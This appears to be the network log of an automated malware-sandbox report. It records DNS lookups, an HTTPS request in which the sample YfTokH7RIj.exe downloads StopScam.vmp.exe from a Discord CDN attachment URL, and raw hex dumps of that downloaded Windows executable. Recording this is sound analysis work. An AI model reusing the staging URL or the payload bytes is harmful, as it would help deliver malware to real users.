Dec 28, 2021 18:13:24.736772060 CET	8.8.8.8	192.168.2.4	0xc660	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Dec 28, 2021 18:13:24.765906096 CET	8.8.8.8	192.168.2.4	0x923f	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Dec 28, 2021 18:13:33.092448950 CET	8.8.8.8	192.168.2.4	0x6d4a	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:33.092448950 CET	8.8.8.8	192.168.2.4	0x6d4a	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:33.092448950 CET	8.8.8.8	192.168.2.4	0x6d4a	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:33.092448950 CET	8.8.8.8	192.168.2.4	0x6d4a	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Dec 28, 2021 18:13:33.092448950 CET	8.8.8.8	192.168.2.4	0x6d4a	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49783	162.159.129.233	443	C:\Users\user\Desktop\YfTokH7RIj.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-28 17:13:33 UTC	0	OUT	GET /attachments/917178535238586432/922560115226312704/StopScam.vmp.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-12-28 17:13:33 UTC	0	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 17:13:33 GMT Content-Type: application/x-msdos-program Content-Length: 4305408 Connection: close CF-Ray: 6c4c6b7e4fc36910-FRA Accept-Ranges: bytes Age: 685481 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=StopScam.vmp.exe ETag: "bf232e7cd2de9652142313a13fe16e69" Expires: Wed, 28 Dec 2022 17:13:33 GMT Last-Modified: Mon, 20 Dec 2021 18:44:31 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1640025871949105 x-goog-hash: crc32c=ZHgcug== x-goog-hash: md5=vyMufNLellIUIxOhP+FuaQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 4305408 X-GUploader-UploadID: ADPycdujre5x2DOWTI0YDcpJUrlkKFmI-FYMrfn0UKljnOd4o6isN-sRHtkGL9HuO-Cvc5p0RzQRycmNYe-ku4jGExgkWhz31w X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-12-28 17:13:33 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 68 70 75 4c 38 6c 6e 38 59 69 52 41 37 48 6b 25 32 42 47 43 44 42 75 58 6a 4f 4f 52 47 57 38 49 5a 68 37 4a 41 4d 77 44 68 50 77 4f 72 32 4a 53 4e 54 50 62 54 71 5a 25 32 42 75 78 55 36 78 43 6f 49 73 78 4c 57 54 65 45 4d 48 31 66 39 45 77 48 71 66 66 53 71 25 32 42 42 4f 57 47 6d 43 64 77 33 6f 72 30 4a 4a 4c 34 4b 45 6f 76 6a 47 6d 25 32 46 4d 7a 4b 56 77 45 43 4c 41 32 79 44 67 7a 46 77 45 34 38 6f 38 25 32 46 69 54 63 35 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hpuL8ln8YiRA7Hk%2BGCDBuXjOORGW8IZh7JAMwDhPwOr2JSNTPbTqZ%2BuxU6xCoIsxLWTeEMH1f9EwHqffSq%2BBOWGmCdw3or0JJL4KEovjGm%2FMzKVwECLA2yDgzFwE48o8%2FiTc5g%3D%3D"}],"group":"cf-nel","max_a
2021-12-28 17:13:33 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 7d ca c0 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0b 00 00 6e 1e 00 00 06 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 81 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEd}a"n @ @@@
2021-12-28 17:13:33 UTC	2	IN	Data Raw: fb 18 7e 1b cb 00 fa 34 55 21 5b 66 ab 32 58 19 82 43 0e 2e ee 3e 3e 13 f6 24 a0 49 28 04 00 00 00 28 1e 8b 5e 00 db 4a 38 00 28 10 00 00 00 ff 28 43 00 00 01 1c 01 29 28 20 2a 7f 00 08 33 28 43 00 00 01 1c bf 29 28 8e 3d 7f 00 ff 58 0b 01 00 43 00 00 01 00 00 00 00 33 28 00 00 00 00 43 82 28 43 00 00 01 2f 07 87 28 70 00 00 04 51 28 2a 00 00 00 5c 00 00 28 43 00 00 01 1c ca 28 8f 38 7f 00 08 33 28 43 00 00 01 1c 01 29 28 8f 83 5e 00 ff b0 55 81 49 00 9e 48 00 33 28 01 00 00 00 1e 21 48 00 28 0e 00 00 00 28 46 00 00 01 26 cc 49 00 df 48 00 33 28 01 00 00 00 58 21 48 00 4a 16 00 28 3c 00 00 01 1c 28 46 00 00 01 26 5c 16 00 28 01 00 00 00 b0 21 16 00 81 16 00 9e 33 00 eb 28 44 00 00 01 1c 28 01 00 00 00 47 28 01 00 00 00 4c 28 01 00 00 00 08 28 43 00 00 01 Data Ascii: ~4U![f2XC.>>$I((^J8((C)( 3(C)(=XC3(C(C/(pQ(\(C(83(C)(^UIH3(!H((F&IH3(X!HJ(<(F&\(!3(D(G(L((C
2021-12-28 17:13:33 UTC	4	IN	Data Raw: 7b 04 33 28 3f 00 00 01 8e 53 33 28 44 00 00 01 b9 82 33 28 81 00 00 01 2f 87 33 28 43 00 00 01 7b a7 33 28 44 00 00 01 8e cb 33 28 57 00 00 02 b9 04 33 28 81 00 00 01 2f 53 33 28 81 00 00 01 7b 82 33 28 44 00 00 01 8e 87 33 28 81 00 00 01 b9 a7 33 28 43 00 00 01 2f cb 33 28 01 00 00 01 7b 04 33 28 43 00 00 01 8e 53 33 28 3f 00 00 01 b9 82 33 28 81 00 00 01 2f 87 33 28 8c 00 00 02 7b a7 33 28 44 00 00 01 8e cb 33 28 56 00 00 02 b9 04 33 28 81 00 00 01 2f 53 33 28 74 00 00 01 7b 82 33 28 71 00 00 01 8e 87 33 28 56 00 00 02 b9 a7 33 28 3f 00 00 01 2f cb 33 28 44 00 00 01 7b 04 33 28 44 00 00 01 8e 53 33 28 81 00 00 01 b9 82 33 28 72 00 00 01 2f 87 33 28 3f 00 00 01 7b a7 33 28 3f 00 00 01 8e cb 33 28 44 00 00 01 b9 04 33 28 44 00 00 01 2f 53 33 28 81 00 00 Data Ascii: {3(?S3(D3(/3(C{3(D3(W3(/S3({3(D3(3(C/3({3(CS3(?3(/3({3(D3(V3(/S3(t{3(q3(V3(?/3(D{3(DS3(3(r/3(?{3(?3(D3(D/S3(
2021-12-28 17:13:33 UTC	5	IN	Data Raw: 4e c9 d3 50 bb ad c3 6d 40 1d 5f ea 85 a9 09 d6 51 90 ab af a8 c3 dc 75 ba 00 aa 84 38 6d 22 13 b7 98 52 08 d2 c8 38 fa c3 4f e1 5e 50 c5 d2 97 2d 95 71 58 bb 73 21 70 4b 1e f8 3c 5c f5 d1 c7 e0 3b 1d a2 06 1f 97 35 27 17 c1 37 9f 12 99 5e 1d bf df 90 c8 6f de 8d 4d a7 cf 77 70 55 d9 7e 62 f1 ef ab b0 c1 d5 7a 5d 29 de af 82 88 d6 64 bd c3 55 b0 62 bc 2e 6a 63 27 57 15 b3 e2 59 c2 63 54 47 6d 9c b7 27 27 59 1f 45 c6 a1 ff a4 bc 90 70 5f 68 46 b7 bf ce b9 36 62 24 a6 06 d3 e7 11 68 14 54 6e 49 85 6a 93 56 d9 59 e5 21 ff 1b 84 12 99 c6 75 0e 1e d1 be 2d a6 ab 06 16 27 2a 9e a2 ed ee d4 08 94 78 b2 50 dd ad 0b 73 74 73 90 d1 8f d4 58 60 60 a4 e3 b6 ad d6 a6 25 fd d9 76 70 2f 24 bf 42 8e 51 b3 74 c9 a9 dc b1 0e a7 42 aa fd 4a 23 9d 2f c9 aa 61 64 67 ad 97 55 Data Ascii: NPm@_Qu8m"R8O^P-qXs!pK<\;5'7^oMwpU~bz])dUb.jc'WYcTGm''YEp_hF6b$hTnIjVY!u-'*xPstsX``%vp/$BQtBJ#/adgU
2021-12-28 17:13:33 UTC	6	IN	Data Raw: 28 87 cb 24 9e f2 73 cd 21 f3 e9 90 0f be fb 85 09 7f 53 b7 c7 c8 05 38 59 f3 c6 23 d0 4c 8d 90 c9 31 62 b0 12 d9 66 0f a1 02 13 71 df 5b 05 61 6a 38 7a 85 af f6 29 50 0e 7e fe 4e 4c b4 38 43 10 a7 de 2f d9 8b b0 1c bd 29 6c 0e d2 5d 02 62 12 26 ac 40 b9 a6 6d af 11 52 af c6 44 17 cc 3c 18 ef aa 12 84 ae b9 50 6e 14 67 98 f6 67 5a 8a 94 f6 96 23 f8 9d 81 d6 53 a9 95 28 bf ae 20 81 b4 67 5a 3a ad 42 ac dc 8d bf 5c 9e f8 c8 e9 c5 f1 3d 41 45 0c 4e 95 70 4d 01 82 56 97 58 fb f8 fd 23 14 91 40 77 d4 7e fc e3 e5 b6 1e 88 d1 43 de 40 33 e5 1e 9e 27 93 9b d4 4c 6e 22 7b a3 16 4c a7 46 93 22 26 48 fc c2 0f 25 bb d5 61 14 f5 bd 5d d4 e2 61 6e b5 6a 96 22 18 b8 4b b8 ae 01 95 d1 36 83 c6 e8 dc 31 98 ee 39 3a 08 ca 74 71 3d 85 4c 6d 14 07 58 cf 7d 1e ea 35 77 71 8f Data Ascii: ($s!S8Y#L1bfq[aj8z)P~NL8C/)l]b&@mRD<PnggZ#S( gZ:B\=AENpMVX#@w~C@3'Ln"{LF"&H%a]anj"K619:tq=LmX}5wq
2021-12-28 17:13:33 UTC	8	IN	Data Raw: 32 b3 ed a9 9a c9 da 97 9f 3f 18 3f e8 9d 54 0f 8a c0 04 8f 3a 5e 9d 38 ef 45 86 30 46 cc b6 18 57 49 99 82 55 87 64 c7 f3 cd 37 07 7a d6 02 1e e7 f8 14 f2 6c a4 4c 99 21 1d 2c b8 4f 17 f0 c5 a7 f0 65 19 17 2f bd cc 9c b3 bf 07 79 f6 f5 a7 00 79 a6 58 9f 8d 35 e2 f7 4c b5 51 4b 27 a9 66 49 84 0e 2f d0 8c 88 0f 6a ee e6 2f 43 b1 a2 af d8 39 04 bc 81 00 b0 70 82 14 c8 45 50 cd fa 20 08 51 4f 80 da 98 11 69 16 fd d1 a7 b0 cb 69 f7 be e3 be 42 f2 9a c3 89 96 b8 b8 18 61 8a cb a2 ea 92 01 0a 26 22 43 af 0e a8 de fe d0 3d d3 d7 39 31 03 58 e8 6c b7 fd 1c 44 99 27 59 bd ef 72 b6 a4 c9 c5 b0 ab 94 40 bc 1c 9d ea 98 70 d4 f3 dd e3 5c 70 e9 53 31 62 50 7a fa 97 be 91 2b 6c 20 50 41 37 a0 34 d8 d1 6b 9e 3a 38 47 a7 51 27 66 01 01 36 b2 93 10 ec 82 34 3f a8 58 58 a6 Data Ascii: 2??T:^8E0FWIUd7zlL!,Oe/yyX5LQK'fI/j/C9pEP QOiiBa&"C=91XlD'Yr@p\pS1bPz+l PA74k:8GQ'f64?XX
2021-12-28 17:13:33 UTC	9	IN	Data Raw: 91 56 62 60 21 eb 87 6e 59 91 b5 77 85 75 2a 32 ee 11 a0 56 82 bf 99 6a 1c 75 38 df a6 9c 35 0a cf 0c a7 eb aa ff 03 5a 5a b2 45 00 64 5d 55 d1 4c 3a 0f 27 b1 9f ab a7 c5 e8 03 eb 9f 69 25 0c 74 2d 96 cf 46 80 05 e8 b8 1e 76 f3 1e 08 4c ff 22 ed d7 e4 f9 05 6b 6e 63 1a 33 a4 1e 81 17 d7 78 27 02 94 1c 71 1f 25 13 9a 58 16 a4 c0 ef b7 5b 53 87 00 cb 43 65 96 96 b1 40 77 6e 57 ac 51 4c ab 9c 0c 28 6d b8 d4 a0 96 cd 44 b0 07 1b eb b7 5f 20 60 ce d1 74 1c 3b 34 68 e4 63 43 13 ca 08 af ec 60 b3 94 6d 48 b7 94 98 c6 5a 52 12 ea d7 8a c0 55 54 16 5b 4b 83 51 77 de c0 89 55 21 a0 7d 53 e5 e5 e8 e2 50 f3 67 c4 3f 63 ec 7f 99 5e 96 aa db 69 3d 4d a9 c0 a3 65 5d 70 22 c4 64 d4 52 7a ee 2c be f4 e6 a2 10 22 6b a4 2b ad 58 2d 0c a4 ef 0c 46 f4 db 9d ef ef c4 ff 6e 06 Data Ascii: Vb`!nYwu*2Vju85ZZEd]UL:'i%t-FvL"knc3x'q%X[SCe@wnWQL(mD_ `t;4hcC`mHZRUT[KQwU!}SPg?c^i=Me]p"dRz,"k+X-Fn
2021-12-28 17:13:33 UTC	10	IN	Data Raw: 03 cd f7 49 34 4b 44 f0 d7 40 1e cd 31 0d 6f 05 fa 0d 6d 49 60 55 90 39 de 77 5b d3 05 76 17 92 8b 24 f6 97 0d 7f 51 5c e2 3b 78 73 02 c4 63 9a 5d 94 78 e7 15 4d 80 fb 25 6c cb ba 9b 36 b5 4e 55 a7 6e 01 7a 30 26 74 37 82 39 e8 9d 79 32 4b c2 9e aa 35 ee f5 d5 32 48 fc 5a 6f e3 93 f2 e4 c4 a7 ec f6 a6 73 cf 2c 78 b8 6e 2e b6 1c bb ba 93 51 a7 8f 60 b5 b8 76 21 30 3f 24 e6 23 2b 20 2e 72 df 40 34 b5 66 96 91 7f a5 f8 ba 10 07 96 ec 0a c1 a5 bd ab 1c 11 7f a0 7e 60 eb 74 40 cc f4 e4 f1 13 b9 2a ae f3 f0 a2 42 84 86 3b e1 e1 1b cd d2 58 82 29 0e a6 20 cf 6d 33 39 b3 2b 39 b3 f0 49 c3 7c cb 78 d2 0e 7f 22 70 4d 11 46 e7 ec 32 2b 65 1d 0e 58 cd 79 77 c3 12 0b 5a 5c c7 ef 35 75 cb 20 bb b5 71 e8 89 02 ec d8 95 11 25 32 35 e9 09 68 78 48 3b 1c 52 2c 9f db 7e 14 Data Ascii: I4KD@1omI`U9w[v$Q\;xsc]xM%l6NUnz0&t79y2K52HZos,xn.Q`v!0?$#+ .r@4f~`t@*B;X) m39+9I\|x"pMF2+eXywZ\5u q%25hxH;R,~
2021-12-28 17:13:33 UTC	12	IN	Data Raw: 8b 9a 11 61 78 9e dc e7 b1 9b 2e 31 83 60 9d 89 d5 e0 0b 2f a1 55 18 48 7b 3f 34 0b e2 57 f7 42 e3 aa cc c4 36 f8 59 7d 64 56 26 24 9c 22 c5 35 c8 85 09 04 6c b2 5b 72 e1 cf a8 c2 87 d0 06 38 70 d1 88 ee 3e 4f d6 0a 63 4f e3 14 af 69 c3 d5 0d b3 25 b6 63 e9 87 cc 5e 3e a6 b0 f8 fc e0 6d c7 97 08 90 1b 7d ac 61 28 a4 07 12 a9 e2 01 55 b7 ff 6f 25 c6 e2 a6 4d 39 bc 15 ab 29 36 84 72 ac d6 0e 32 c4 18 f3 59 9b a8 1c 99 ef 96 97 bf 42 ab e6 f4 e9 ef a8 6f a4 0b 69 49 84 86 13 1c 13 9c 1c 5f 77 be 6b 75 bc 74 b1 dd 54 2d 95 0d 99 ee 0f 40 10 88 67 3b 0f fa 06 84 c6 29 78 a1 e5 26 f8 5a 0a db 02 17 1d 4c d3 da e0 3a 69 81 1c 0e ab 39 05 d5 eb 7f 64 bf 22 16 c1 de bf 00 3b bc b2 93 e3 3d 89 51 ec ed 8b f6 1e 19 56 06 07 6d 9b 9e 87 47 96 2d f9 f1 82 f4 09 06 70 Data Ascii: ax.1`/UH{?4WB6Y}dV&$"5l[r8p>OcOi%c^>m}a(Uo%M9)6r2YBoiI_wkutT-@g;)x&ZL:i9d";=QVmG-p
2021-12-28 17:13:33 UTC	13	IN	Data Raw: f8 3a 5b af 29 9a 9e 6c 30 3d a9 6f aa 63 d5 1e 5d cb f6 2a 8b 97 9a 4e b3 a6 e6 16 d3 75 3e b0 9a 8b 50 dd 01 af cf 8c 05 e2 53 9e 19 b2 d6 8d 52 93 ef 17 df 0a e3 e5 c3 07 8c d8 f0 f8 a7 59 12 41 f0 f6 49 a8 95 43 33 a9 29 10 4e 51 b7 5e 99 44 99 e6 b5 49 23 8f f3 c8 36 c0 20 5f 88 69 ca 46 9b c9 5e 1c da fd 01 2c 31 dc 81 b0 e3 29 c2 ed 5b 35 6e f4 42 0b 92 3f d8 11 f9 7a ef 9c b2 d9 a3 9a 5a a2 b7 16 7c e2 b5 e6 4c 23 de f4 79 71 d4 4f b1 61 76 58 06 07 ff 2a 48 d6 cd 99 6d 5e fb 18 60 c4 74 4d 57 ff be 6e 40 2d 4a 1c b0 bd 0c 9a 2d bc 08 1d 7e 21 9c 4d 1c 9c 73 7a 75 03 73 70 ba 9a a6 91 29 0a cc 4f b0 98 23 cf 75 7b e1 65 db d6 13 cb 7d 44 41 76 bc 84 6b 08 7e ec dc 58 45 44 8d 39 44 35 9c 1b 59 77 41 a4 cc 2e 46 f6 92 97 20 f5 f1 9b 2c da 8d e8 42 Data Ascii: :[)l0=oc]Nu>PSRYAIC3)NQ^DI#6 _iF^,1)[5nB?zZ\|L#yqOavXHm^`tMWn@-J-~!Mszusp)O#u{e}DAvk~XED9D5YwA.F ,B
2021-12-28 17:13:33 UTC	14	IN	Data Raw: d2 af d6 d0 e4 04 28 7f 80 56 17 a7 77 50 0b d8 4e 66 9e 11 1b 96 19 67 fa 23 2c 94 36 e7 8d 6e b5 96 0a 5b 1f f1 29 76 ee f8 eb 5e ca ed 28 a1 df 1d 04 f3 e3 d8 9e 87 4a b5 c0 d2 0f 0a 8b c7 7a 57 7f e7 e1 6f 42 56 ba 44 ba c3 da 77 a9 ae 2a 84 c7 a5 54 a1 29 a0 da f0 2d 09 a6 9a 4b 96 f3 8e 88 a9 61 88 ef 84 f9 7a a9 47 65 a3 fe a6 41 b0 69 b0 c6 7c e0 00 28 bc cd 31 0a f3 89 8c ef f1 51 fa ae d2 35 83 6c db b4 41 21 bc 88 1f b2 36 48 af 32 fa 28 eb 70 90 77 22 4a 01 8b ca 4a f4 b0 6a 32 52 ae 05 5f 95 9b 79 ca 0b c9 36 d8 c7 88 1f 3b 81 b1 fb fa 21 ec 2d 10 c3 18 c8 e7 67 5c 39 3a a2 21 27 01 c5 66 d5 2d e4 1f 83 f7 b9 da 0f bc 0a e1 75 e4 56 23 e4 47 00 0a eb a1 a6 ff b9 9a ab 02 5d 22 46 39 bc 4d 05 0f d4 21 0c 11 d4 49 12 1f 67 82 bb 10 01 05 4b f0 Data Ascii: (VwPNfg#,6n[)v^(JzWoBVDw*T)-KazGeAi\|(1Q5lA!6H2(pw"JJj2R_y6;!-g\9:!'f-uV#G]"F9M!IgK
2021-12-28 17:13:33 UTC	16	IN	Data Raw: 97 d6 dd df 1b 27 d4 40 78 00 c5 d4 be 45 13 02 47 91 21 79 cf e2 b8 47 4b fd 68 61 cc fe e5 e5 b0 92 d3 0c cf 3f d4 6a 2b 9f ca bf f1 f3 97 b7 8a 53 be ff 99 9a d1 84 ce c8 a4 19 3d f7 f4 f5 16 ce 6a 6b 11 39 bc 5d 52 71 f7 17 ab 74 46 60 2b 4c e6 ed 31 4b 94 6c 0b 80 bd ec a2 56 4c 0d 37 b1 3f eb 24 a0 65 27 ed 36 24 d4 e2 e5 69 7d 29 e3 d8 79 3a aa 71 9c 68 65 2e 5e 06 da e9 98 97 96 17 a4 6a 6f d9 22 e6 94 32 18 d1 03 8d 2c d5 df 7f 68 79 18 17 59 f1 c3 59 4a 32 64 a4 3f 7e 3c db 70 37 a7 5c b5 d3 7f af bd 9a 2c 25 f7 7a 09 2d 51 ef db 8b a0 36 01 8a e0 73 2f 59 1f 82 34 64 44 00 11 88 d9 70 8b 96 d6 a9 77 a7 c1 82 60 84 c0 25 2f c6 06 6c a6 cc d5 72 c2 07 e8 b0 16 ad 0f f1 45 49 19 69 3f 05 10 83 62 a9 1a d2 74 2e 2b 4a 5c 2d cc 0c 06 7f 95 23 6d db Data Ascii: '@xEG!yGKha?j+S=jk9]RqtF`+L1KlVL7?$e'6$i})y:qhe.^jo"2,hyYYJ2d?~<p7\,%z-Q6s/Y4dDpw`%/lrEIi?bt.+J\-#m
2021-12-28 17:13:33 UTC	17	IN	Data Raw: 0b 73 b2 c9 ec 0d 75 03 e0 a7 75 c2 6f d3 ad e3 17 46 b9 cf 64 80 e4 58 44 58 78 49 7d 0a cd a3 b1 18 48 53 f8 4e 73 4e 5b d5 d3 71 8f b6 2f d7 7b 8e bb 7c 02 80 6c 5f f6 b0 fa 87 68 66 c8 93 ed 58 63 9a 44 51 bc bb a7 28 84 cc ef 11 91 a0 92 b5 51 12 0b 1d 2a 82 54 c3 9e 3b e3 96 97 04 05 59 98 7f 6c 16 b5 15 78 b6 57 4b c0 0f c1 4d c2 fb ee 3d 0f 55 10 1a a2 11 c2 d3 ab 7f 44 ca 7a 16 05 6f 5a d6 6a 2d 2c a9 25 9d 0f 9d 7b 9b 45 00 e9 b0 30 a8 af 12 49 f0 a2 0c 5f 4f bc 1e 38 6f 62 0e c1 42 21 58 87 c0 f8 6a 07 f1 03 0d d0 8e 47 84 78 17 f0 fd 93 fc 1e a3 3b ca a2 3c 8c 5e c7 36 8b 55 74 4a 13 a8 2f d1 9b e3 f7 44 46 29 c5 57 6f 2c c5 a5 d5 8e 3d 6d 81 fe 66 b8 e7 a6 dc f6 b3 d8 1d 46 e7 01 67 17 b3 f0 fe f4 04 ce 7a 92 f5 9f 8f 06 cf c6 15 4f a0 e8 9b Data Ascii: suuoFdXDXxI}HSNsN[q/{\|l_hfXcDQ(Q*T;YlxWKM=UDzoZj-,%{E0I_O8obB!XjGx;<^6UtJ/DF)Wo,=mfFgzO
2021-12-28 17:13:33 UTC	18	IN	Data Raw: 0d 84 fb 98 c5 1d 94 b3 16 3b 3f 19 be 11 e9 fb 60 28 b1 e8 37 fa e8 59 35 19 d8 77 72 3e cb a2 9b 12 b5 64 3a cb 14 cd e2 03 8a ee 2a 7f bb 98 c2 0d 68 47 76 34 24 66 ff 6e c3 1a 38 35 90 6b f6 65 c3 da cd c2 31 c8 18 16 4b 28 ab ec 61 15 ae 07 d2 50 7b 69 51 2d 6b 78 c1 ae 93 5f e6 6e f3 9e 6a 58 94 a9 a6 73 f0 f1 e4 ac 11 2a ac 0c 4a a6 02 77 a4 54 83 2b e6 e9 40 9d 61 12 3b 77 02 99 6e a8 a3 aa 7c 9b 64 da 0e 95 48 50 43 61 4b 7f 65 a9 b7 7d 3c 63 10 60 9c 58 dd 49 96 21 de ee 9d 0f 27 d1 17 15 bc 8b 95 55 8d c8 93 92 65 82 3e 22 0a 4f 81 69 a5 04 12 d9 8b 6d 1b 6b 2a f2 dd 2b d8 db 1b ef 8a 21 68 a8 84 a2 98 f1 18 38 f5 39 15 e1 8c bb e2 ea 09 0b cf 36 c2 e0 86 a9 a3 13 99 ff 9d a1 db e3 75 65 3d f9 27 28 3f 4b fb 4d 9e b9 47 cf db 6f a6 18 df 1a a8 Data Ascii: ;?`(7Y5wr>d:hGv4$fn85ke1K(aP{iQ-kx_njXsJwT+@a;wn\|dHPCaKe}<c`XI!'Ue>"Oimk*+!h896ue='(?KMGo
2021-12-28 17:13:33 UTC	20	IN	Data Raw: 6a 89 43 fd 7c 4a 9d ed 1a b1 b4 ba c2 8d a0 51 33 c2 17 54 87 4e d3 d2 5f 68 dd 5d 09 3f 72 86 0c 87 a7 4e 78 fc d3 4e 57 b8 8b 4d 1e 1a 13 31 1d cc f9 eb ca 51 7e aa d0 bc 16 04 99 dc 70 31 5e aa e5 81 e9 07 61 f6 c6 67 af 85 20 d0 81 6c 43 cb f0 6a 8b ba 8f 42 76 f8 cd cd 9d 87 1d 8f 5c 1d 44 9a bc ad 4d a2 53 c4 cc 69 09 a4 ec 75 ce 53 ef 0d e2 de f8 72 a9 2d e0 c7 8c 60 6d 6a ca 42 be 97 aa 34 39 df 5f 28 16 09 2d d3 1b df 09 df aa 49 b1 7f a1 06 14 12 d4 f8 4d 61 b5 58 bb 90 c9 00 40 ee 11 db f0 1d 54 97 86 c3 67 c0 31 6f 51 d0 8c 5f 92 31 a7 ea 83 d7 bf 6e aa 7e 6d f9 71 b1 70 5f bd 65 b4 cb ca c3 86 f3 05 ab 02 3b 3c 31 72 b6 3c 29 0d 80 7a 59 3b 34 ac ed 92 40 ae 72 09 a2 33 32 ad e5 82 2c 47 14 df c4 df 0f fa 95 43 b3 3d d1 fd f7 56 6d 8e fb ca Data Ascii: jC\|JQ3TN_h]?rNxNWM1Q~p1^ag lCjBv\DMSiuSr-`mjB49_(-IMaX@Tg1oQ_1n~mqp_e;<1r<)zY;4@r32,GC=Vm
2021-12-28 17:13:33 UTC	21	IN	Data Raw: eb fd fd f5 78 61 50 09 e2 6e 86 d3 ef e9 10 46 0d 85 41 4f 70 2e 56 03 91 36 2e 9a 18 7b 5f c2 d6 1e fd d3 16 e4 96 86 8c 89 1a 85 1b 22 02 f5 32 0e d4 ab dd 6e 13 30 06 d1 c7 80 d8 27 2e 3a 54 e8 1b 6b eb a5 e9 f4 b2 26 ce c3 86 50 e7 14 04 eb 15 2a e8 d8 97 0e a5 37 0f bf ea 9c 83 6c 90 c7 fa 1b b6 22 97 bf 89 8a 00 37 e7 d6 1e 4d 0d 14 2f 0f 68 7d 2a 85 b8 e8 20 f3 d2 e4 e6 8f 4b 46 30 3b b9 ff 4d 0c de 99 be b3 1d 6e 22 08 0d 79 7b e6 65 f8 c8 dc 0b 43 63 7e 54 09 4b b7 39 39 ae 38 a5 94 f5 d6 a0 ad 04 53 0e 40 af f5 8e 85 48 2f 09 e7 de 20 11 d5 c0 3b a4 88 f6 e7 78 db 57 dd ad a5 30 a8 4f ee 9a 5d 46 1d d3 21 33 5b 52 51 04 d1 3d ee 41 dd a6 a8 ad 53 95 3a d2 6a a1 0e e6 87 1b f0 21 a7 0e 5f fb 00 b8 64 8f 7f 1a fe a9 15 12 e7 a1 9c 6f 24 56 3d 43 Data Ascii: xaPnFAOp.V6.{_"2n0'.:Tk&P7l"7M/h} KF0;Mn"y{eCc~TK998S@H/ ;xW0O]F!3[RQ=AS:j!_do$V=C
2021-12-28 17:13:33 UTC	22	IN	Data Raw: 98 0b 44 38 d6 71 61 51 c3 6a 46 a3 be b7 68 5e ec 2b b1 27 6a c1 95 5a 07 ae 2a 98 35 bf 5a 75 0f 68 9f ab 66 71 78 d4 8c 55 1f a3 7e 5e e5 ad 05 8b 11 aa ad e2 13 cf bb 92 15 40 05 61 b7 32 ec e2 c6 2b aa a4 1d 11 08 44 0e e2 51 09 b5 d3 62 c8 a0 ec c1 5a a0 a7 1f f5 f7 6f 3b 21 c5 68 c8 60 8d 68 06 a3 9a 78 bc 94 89 50 bd 88 6b 7e d5 b6 80 f0 98 d2 d9 4c cd 7b bd 33 9d aa 00 81 b0 60 88 25 32 36 35 83 28 98 e1 7f db 7f b1 1a bd ce 19 58 15 3f 53 0a ce ad f4 c3 35 e1 21 bf 03 87 0d ec 7c 7e a3 83 a4 58 2f 34 62 ea 67 c8 0d 2b f7 97 c9 77 52 c3 cd 2a 18 f2 e7 5e 87 86 bc 62 f1 c8 21 a2 46 d4 f2 2b 5e d2 fa 9a 6b 5b 63 a9 f7 ae e9 bb 44 c4 82 31 ea a6 e1 01 aa 53 a8 52 b3 05 72 d2 88 26 c2 57 9b bd b8 b4 7b 7d bf ad b6 be cd fb 8a c5 af e8 0e f0 57 67 10 Data Ascii: D8qaQjFh^+'jZ5ZuhfqxU~^@a2+DQbZo;!h`hxPk~L{3`%265(X?S5!\|~X/4bg+wR^b!F+^k[cD1SRr&W{}Wg
